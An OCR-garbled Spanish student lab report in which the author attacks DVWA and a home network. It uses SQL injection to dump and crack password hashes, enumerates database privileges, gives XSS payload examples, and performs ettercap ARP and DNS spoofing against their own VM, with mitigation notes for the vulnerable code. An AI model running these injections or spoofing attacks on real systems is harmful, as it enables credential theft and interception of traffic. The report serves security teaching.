SQL Injection (Blind)

ID: ' UNION SELECT null, user FROM dvwa.users --

XSS (DOM) First name:
Surname: smithy

XSS (Reflected)

XSS (Stored)

CSP Bypass More Information

JavaScript

Authorisation Bypass

Open HTTP Redirect

|
|
|
|
|
|
|
|
Weak Session IDs |
|
|
|
|
|
|
|
|

Cryptography
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Vamos a probar a entrar con un usuario:
Podemos hacer una inyeccion para sacar las contraseias de los usuarios de las bases de datos:

e "UNION SELECT null, password FROM dvwa.users —

chive Magquina Ver Entrada Dispositivos

JE P

©J Vulnerability: SQL Injec

C @ J [ localhost B % ®

Kali Linux #& Kali Tools + KaliDocs T Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

o)

Home | Vulnerability: SQL Injection
Instructions |
Setup | Reset DB | User ID: isword FROM dvwa.usi| [ Submit |

ID: ' UNION SELECT null, password FROM dvwa.users --
First name:
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Brute Force

Command Injection

ID: ' UNION SELECT null, password FROM dvwa.users --
First name:
Surname: e99318c428cb38d57260853678922e03

CSRF

File Inclusion

File Upload ID: ' UNION SELECT null, password FROM dvwa.users --
First name:
Insecure CAPTCHA Surname: 8d3533d75ae2¢3966d7e0d4fcc69216b

ID: ' UNION SELECT null, password FROM dvwa.users --
First name:
Surname: 0d107d09f5bbedB@cade3de5c71e9e8b7

SQL Injection (Blind)

XSS (DOM)
XSS (Reflected)

More Information

XSS (Stored)

CSP Bypass

JavaScript

Authorisation Bypass

Open HTTP Redirect

|
|
|
|
|
|
|
|
Weak Session IDs |
|
|
|
|
|
|
|
Cryptography |

8Ok & NE T T & 0 CRLDERECHA

‘.‘ 30°C Parc. nublado

Ahora nos vamos a la terminal y probamos a entrar con las credenciales que aparecen en la
imagen anterior. Pero antes tenemos que convertir estos hashes MD5 a contrasefia de texto
plano, para ello vamos a utilizar hashcat. Es una herramienta de Kali Linux.

e Sudo apt-get install hashcat

Creamos un archivo .txt con los hashes dentro:

. _______________________________________________________________________________________|
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-4

Archivo Maquina Ver Entrada Disp

| mE P D 2 3 ¢ : Do A @2 a 6

O [ localhost
Kali Linux 78 KaliT °
Archivo Acciones Editar Vista

raul @raulkali: ~

hashes.txt

Desencriptamos con la herramienta:

e hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
-m 0: Especifica el tipo de hash (en este caso, MD5).
-a 0: Especifica el modo de ataque (en este caso, ataque de diccionario).

Jusr/share/wordlists/rockyou.txt: Especifica el diccionario a usar (puedes cambiar el
diccionario si prefieres otro).

hashes.txt: Es el archivo que contiene los hashes que quieres descifrar.

. _______________________________________________________________________________________|
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wo Maquina Ver Entrada Dispositives Ayuda

"m P oOF] 1 2 3 ¢ D 4 A B0s5| @ 6

erability
= raul @raulkali: ~

C @ Archivo Acciones Editar Vista Ayuda

Kali Linux §8 KaliTo yoot memory required for this att

Instructions

Setup / Reset D I
Brute Force | 8

Command Inject TOMa e v v v 2w

CSRF

File Inclusion

File Upload

Pure Kernel

[ T File (/usr/share/wordlists/rockyou.txt.

....... 2 L 2.51ms) @ Ac g 4 Loops:1 Thr:1 Vec

SQL Injection (B : I sts (tot 4 (100. Digests

Weak Session ID LOETCoS Rl
XSS (DOM) g
XSS (Reflected)

XSS (Stored)

-1 Iteration

CSP Bypass
: Tue Nov
Javascript 5 T O

Authorisation By,

Open HTTP Red

Cryptography

B OMSE &0 ST ¥4 0 CTRLDERECHA

,.) 30°C Parc. nublado

Una vez tenemos la contrasefia nos vamos a la pagina web: http://localhost/DVWA/login.php

Nos intentamos logear con el usuario gordonb y la contrasefa abc123

. _______________________________________________________________________________________|
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chive Maquina Ver Entrada Di

B PR O] 3 4 : D 4 A #1524 | & G

<J Welcome :: Damn Vulne

QO D o localhost B ® 9

KaliLinux #& KaliTools = KaliDocs & Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

XSS (Reflected) |
e | WARNING!
CSP Bypass ‘ Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider’s public
html folder or any Internet facing servers, as they will be compromised. It is recommend using a virtual
S 5 ‘ machine (such as or ). which is set to NAT networking mode. Inside a guest machine, you
Open HTTP Redirect ‘ can download and install for the web server and database.
Cryptography - A
‘ Disclaimer
DVWA Security ‘ We do not take responsibility for the way in which any one uses this application (DVWA). We have made the
purposes of the application clear and it should not be used maliciously. We have given warnings and taken
PHP Info ‘ measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an
About ‘ installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it
Logout | More Training Resources

DVWA aims to cover the most commonly seen vulnerabilities found in today’s web applications. However there
are plenty of other issues with web applications. Should you wish to explore any additional attack vectors, or want
more difficult challenges, you may wish to look into the following other projects:

You have logged in as ‘gordonb’

Username: gordonb
Security Level: low
Locale: en

SQLi DB: mysql

3.5 Mostrar el nombre de la base de datos actual (Current database), del

usuario actual (Current user) y si dicho usuario tiene rol de administrador.
Nos vamos a SQL Injection con el usuario que nos hemos logado antes, gordonb.

e "UNION SELECT null, GROUP_CONCAT(schema_name) FROM
information_schema.schemata --

Nos indica las bases de datos a las que tiene acceso el usuario gordonb

. _______________________________________________________________________________________|
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En teoria es con estas tres podemos ver el current user, pero sinceramente, ninguna de las dos

me ha funcionado y me saca el usuario dvwa@Iocalhost.

e  SELECT user();
e  SELECT system_user();
e 'UNION SELECT USER(),2 -

kd
Archive Maquina Ver Entrada Dispositivos Ayuda

HEaPori-|1 2

B O Vulnerability: SQL Injectic X+

< C @ O O localhost

Kali Linux # KaliTools = KaliDocs M Kali Forums e Kali NetHunter Exploit-DB

O 44 A .1 | & C
N

70% v ® =

Google Hacking DB Offsec

10: ' UNION
TS First name:

Surname: 2
Injection |

esee
e nclusion | More Information
Fleupload | 0
msscurs caprcha | .
| soumection |

SQL Injection (Blind)

‘Weak Session IDs.

XSS (DOM)

X5 (Reflected)

XSS (Stored)

CSP Bypass

Javascript

Open HTTP Redirect

cryptography

DVWA Security
PHP Info
About

Logout

Usemame: gordont
Security Level: low
Locale: en

SQLi DB: mysgl

View Source | View Help

3.6 Mostrar los privilegios (a nivel de base de datos) asociados al Current user.
e "UNION SELECT NULL, privilege_type FROM information_schema.schema_privileges

WHERE grantee = USER() -
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3.7 Analizar el cédigo PHP del formulario vulnerable. ¢ Qué cambios harias
sobre dicho cédigo para mitigar el ataque? ¢Valdria esta solucion adoptada
para mitigar una autenticacion insegura sobre la aplicacion web? Justifica la

respuesta.
Nos vamos a la ruta /var/www/html/dvwa y vamos a tratar sobre el archivo login.php

En este archivo podemos encontrar las siguientes vulnerabilidades y como mitigarlas.
1. Uso de Sentencias Preparadas:

e Se deben reemplazar las funciones obsoletas como mysql_real_escape_string() por
sentencias preparadas con mysqli o PDO para prevenir inyecciones SQL.

e Ejemplo: Utilizar mysqli_prepare y mysqli_stmt_bind_param para asegurar que los
datos no se inyecten en la consulta SQL.

2. Hashing Seguro de Contrasefias:

e Enlugar de usar md5(), es necesario utilizar password_hash() para crear un hash
seguro de las contrasefas y password_verify() para validarlas.

e Esto asegura que las contrasefias no se almacenen de forma insegura y mejora la
proteccién frente a ataques.

3. Proteccidon CSRF Mejorada:
e Validar y verificar los tokens CSRF correctamente.

e Asegurar que las cookies de sesidn se configuren con los atributos HttpOnly y Secure
(en un entorno HTTPS).

4. Validacion y Sanitizacion de Entradas:

e Siempre sanitizar las entradas del usuario con funciones como filter_var() para evitar
que se inserten datos maliciosos.

e Verificar que las entradas sean del tipo y formato esperado antes de procesarlas.
5. Manejo Seguro de Errores:

e Evitar mostrar mensajes detallados de errores de base de datos o de sistema, ya que
pueden ser explotados por un atacante. Usar mensajes genéricos en su lugar.

6. Proteccion contra Fuerza Bruta:
¢ Implementar limites en el nimero de intentos fallidos de inicio de sesidn.

e Introducir medidas de proteccién como bloqueos temporales o un sistema CAPTCHA
tras varios intentos fallidos.
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3.8 Describe los pasos necesarios para explotar los siguientes tipos de

vulnerabilidades:
o XSS Reflejado.

o XSS Almacenado.
XSS Reflejado (Reflected XSS)

e Descripcion: Se produce cuando datos proporcionados por el usuario se incluyen en
una pagina web de manera inmediata, sin el almacenamiento previo del contenido.
Comunmente, ocurre en parametros de URL, formularios de entrada o campos de
busqueda.

e Pasos de explotacion:

1. Identificar un formulario o parametro en una URL que refleje el valor enviado
en la respuesta de la pagina.

2. Inyectar un cddigo malicioso, como un script de JavaScript.

3. Sila aplicacién no valida ni escapa correctamente la entrada, el navegador
ejecutara el codigo.

¢ Ejemplo de explotacion:
o URLvulnerable: http://example.com/search?g=texto
o Payload: http://example.com/search?q=<script>alert('XSS')</script>

o Resultado: Si la entrada q no se filtra, el navegador muestra una alerta al cargar
la pagina.

2. XSS Almacenado (Stored XSS)

e Descripcion: El cédigo malicioso proporcionado por el atacante se almacena en el
servidor (en bases de datos, archivos, etc.) y se presenta a otros usuarios cuando
visitan la pagina afectada.

e Pasos de explotacion:

1. Identificar campos en la aplicacién que permitan almacenar datos, como foros,
comentarios o formularios de perfil.

2. Inyectar un cédigo malicioso, como un script de JavaScript.

3. Sila aplicacidon no valida ni escapa los datos antes de almacenarlos o
mostrarlos, cualquier usuario que visite la pagina afectada ejecutara el codigo.

e Ejemplo de explotacion:
o Campo de comentarios en un blog:
= Payload: <script>alert('XSS Almacenado')</script>

* Resultado: Cada vez que alguien visite la pagina donde se muestra el
comentario, el navegador ejecutara el codigo.
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Notas para mitigar XSS:

e Validar y escapar datos de entrada. Usa funciones de escape apropiadas para evitar
gue el codigo inyectado se ejecute.

e Configuracion de Content Security Policy (CSP). Limita el origen de los scripts que el
navegador puede ejecutar.

e Usar sanitizacion de HTML. Bibliotecas como DOMPurify para eliminar scripts
peligrosos del contenido permitido.

4 ATAQUES DE SUPLANTACION DE IDENTIDAD

4.1 Ataque ARP Spoofing desde Kali Linux con ettercap
Abrimos ettercap desde la terminal:

e Sudo ettercap -G
Configurar la interfaz de red:

e Elegimos la interfaz de red ethO

chive Maquina Ver Entrada Dispositives Ayuda

' B o] 2 3 4 D% A pTo|a G

rchivo Acciones Editar Vista Ayuda

Ettercap

Fer requeste
Setup

Sniffing at startup

) a

<LOOPE

id_1lft 86@99sec pref

id_1ft for
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Escaneamos dispositivos en la red, pinchando en la lupa de arriba a la izquierda

Y después le damos al icono de host list, que esta la derecha de la lupa.

Maquina Ver Entrada Dispositivos Ayuda
N NN IR |
(11}

mQ = Ettercap

Host List x

ine |p Address MAC Address Description

74:0E:A4:8E:CF:E0O Ronas-MacBook-Air.local
C2:40:FB:1B:7A:D5
27:92cd:fabc 74:0E:A4:8E:CFEQ0 Ronas-MacBook-Air.local
02:9A:90:7E:2F:35
Delete Host Add to Target 1 Add to Target 2
ecified, not starting up!
Starting Unified sniffing...
Randomizing 255 hosts for scanning...
ning the whole netmask for 255 hosts...
8 hosts added to the hosts list...

Seleccion de victima y objetivo

e Seleccionamos la maquina objetivo, en nuestro caso una maquina virtual Windows10
con IP 192.168.1.15, como target 1.
e Seleccionamos el Router como target 2

Ponemos el Wireshark en modo escucha por la interfaz de red que estemos utilizando, en este
caso la ethO:
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-
Archive Maquina Ver Entrada Dispositives Ayuda

HEERPOF-|1 2 3 ¢ Ny O 4 A @424 8 C

The Wireshark Network Analyzer

Archivo Edicion Visualizacion Ir Captura Analizar Estadisticas Telefonia Wireless Herramientas Ayuda

AODOAG s BE@ 2« ¢« »n <« >»HWEooo B

'] Todas las interfaces mostradas -

eth0
any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump
@ DisplayPort AUX channel monitor capture: dpauxmon
@ Random packet generator: randpkt
@ systemd Journal Export: sdjournal
® SSH remote capture: sshdump
@ UDP Listener remote capture: udpdump
@ Wi-Fi remote capture: wifidump

Guiade - Wiki - Preguntasy - |Listasde . SharkFest . Discord de Wireshark -
usuario respuestas correo

Esta ejecutando Wireshark4.4.0.

E Preparado para cargar o capturar No hay paquetes Perfil: Default
B OIS & W ST ¥ 43 0 CTRLDERECHA

Lanzar el ataque

e Vamos a Mitm Menu = ARP Poisoning
e Seleccionamos Sniff remote connections, para capturar el trafico entre ambos
objetivos

Ahora nos vamos al cliente Windows que tenemos con la IP 192.169.1.15.

Para comprobar que el ataque se estd ejecutando bien tenemos que hacer un arp -a para listar
la tabla arp que tenemos.

Nos deberia de aparecer con en la imagen, con la direccién MAC del Router repetida, pero en
este caso la direccion de nuestra maquina Kali se esta haciendo pasar por la MAC del Router.
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&

Archive Maquina Ver Entrada Dispositives Ayuda

Vemos como la direccién MAC del Router es la misma que la de la maquina Kali.
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4.1.1 Ver trafico en Wireshark
Ahora podemos ver el trafico en Wireshark desde la maquina de Kali.

e Buscamos en la maquina de Windows cualquier pagina web, por ejemplo
https://elpais.com

Nos vamos a la maquina de Kali y en Wireshark buscamos con la siguiente Query:

e dns.gry.name == "elpais.com"

*eth0

Archivo Edicion Visualizacion |r Captura Analizar Estadisticas Telefonia Wireless Herramientas Ayuda

ADA® c REBM@ a <« >n <« >BE

Source Destination Protocol Length Info
.. 772.250191403 192.168.1. 192.168.1. DNS 70 Standard query 0x089f2 A elpais.com
250459788 Standard query ©x6al5 HTTPS elpais.
251787087 Standard guery ©x587e A elpais.com
.259165633 Standard query 0x09f2 A elpais.com
.259291798 Standard query ©0x6al5 HTTPS elpais.
259381443 Standard query 0x587e A elpais.com
436380710 Standard query response 8x6al5 HTTPS elpais.com SOA
.436575071 Standard query response @x6al5 HTTPS elpais.com SO0A
.456090791 Standard query response @x09f2 A elpais.com A 202.13i
457660672 Standard query response 0x09f2 A elpais.com A 202.13
475873747 Standard query response 8x587e A elpais.com A 202.
.485337844 Standard query response ©x587e A elpais.com A 202.
Standard query 0x3084 A elpais.com
Standard query 0x3084 A elpais.com
Standard query response 8x3084 A elpais. Az,
Standard query response ©x3084 A elpais. 123.
Standard query @x21ba A elpais.com
Standard query ©@x2lba A elpais.com
Standard query response 8x2lba A elpais. 202.
Standard query response Bx21ba A elpais. 202

.816103812
.817063341
.820089160
.824950518
870515026
.873104749
881291519
888999729

1
1
1
1
1
a
1
1
1
1.
Sals
1
a
1
1
1
1
1
1
1

1 Ver

3
b
3 0
» r Dataaram Proto

® E wireshark_ethOIEMCX2.pcapng Paquetes: 125483 - Displayed: 20 (0.0%)- Perdido: 0 (0.0%) : Perfil: Default

Podemos observar en la imagen que la maquina de W10 ha visitado la pagina de elpais.com, en
este caso es una pagina https, pero si es una pagina http, podriamos ver la contrasefa en texto
plano, si el usuario inicia sesién en la pagina.
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4.2  Ataque DNS Spoofing con Kali Linux y Ettercap
Habilitamos el reenvio de paquetes de la maquina Kali:

e echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
o Para comprobar que el comando de antes funciond correctamente ponemos:
sysctl net.ipv4.ip_forward

Configurar el archivo de etter.dns:
¢ sudo nano /etc/ettercap/etter.dns
Agregamos al archivo las siguientes lineas:

¢ www.elmundo.es A 192.168.1.25
e * elmundo.es A 192.168.1.25

Abrimos Ettercap

e Seleccionamos la maquina W10 como targetl,
e Seleccionamos la direccién de nuestro Router la ponemos como target2.

Abrimos el mend Mitm y seleccionamos ARP poisoning.
Habilitar el plugin de DNS Spoofing:

e Ve al menu "Plugins" y selecciona "Manage plugins".

e Busca el plugin llamado "dns_spoof" y haz clic en "Activate".

2
Archivo  Maquina Mer Entrada Dispositi

rE PO 3 - A @ 1510

Archivo Acciones Editar Vista Ayuda

4.ip_forward

net.ipv4.ip_forward = 1
= Etterca)
ma[® g

Host List x Plugins x
Name Version Info
arp_cop 11
autoadd = 2 E the targetrange
chk_poison 11
13
1.0 E an|P address
3.0 Aplugin template (for developers)

find_conn 1.0 Search connections on d LAN
find_ettercap 2.0 Try tofind etterc ivity
1.0 Search an unused IP address in the subnet

9:D6:A3
2.168.1.24 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1

er's fully qua

)-[/etc/sysctl.d

10T & 43 £ CTRL DERECHA
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Ahora comprobamos en la maquina victima W10 que al acceder a la URL elmundo.es o
cualquiera de los subdominios, nos redireccionara a la pagina del servidor de nuestra maquina
Linux:

Archivo Maquina Ver Entrada Dispositivos Ayuda

LN AR

p. @ [ [ Apache2 Debian DefaultPage:it: x
4

& & A No segupo www.elmundo.es

Apache2 Debian Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server
installed at this site is working properly. You should replace this file (located at
/var/www/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

che2 Debian Default Page: It works - Perfil 1:
Edge

Debian's Apache2 default confE RIS E e = e ilile upstream default configuration, and split
into several files optimized fo =" 5. The configuration system is fully
documented in /usr/share flebian.gz. Refer to this for the full
documentation. Documentatid @n be found by accessing the manual if the
apache2-doc package was inst

(O Apechea oobien afsuk Poge

btion on Debian systems is as follows:

&1 5 5 = 15:17
- 28°C AT @B 00, B

BO)S @ W ET ¥ 3 B CRLDERECHA

Check out what's new in the latest release of Kali Linux!

T ¥ 43 & CTRL DERECHA

1 'y configuracién de cortafuegos

22:17

13/11/2024 El
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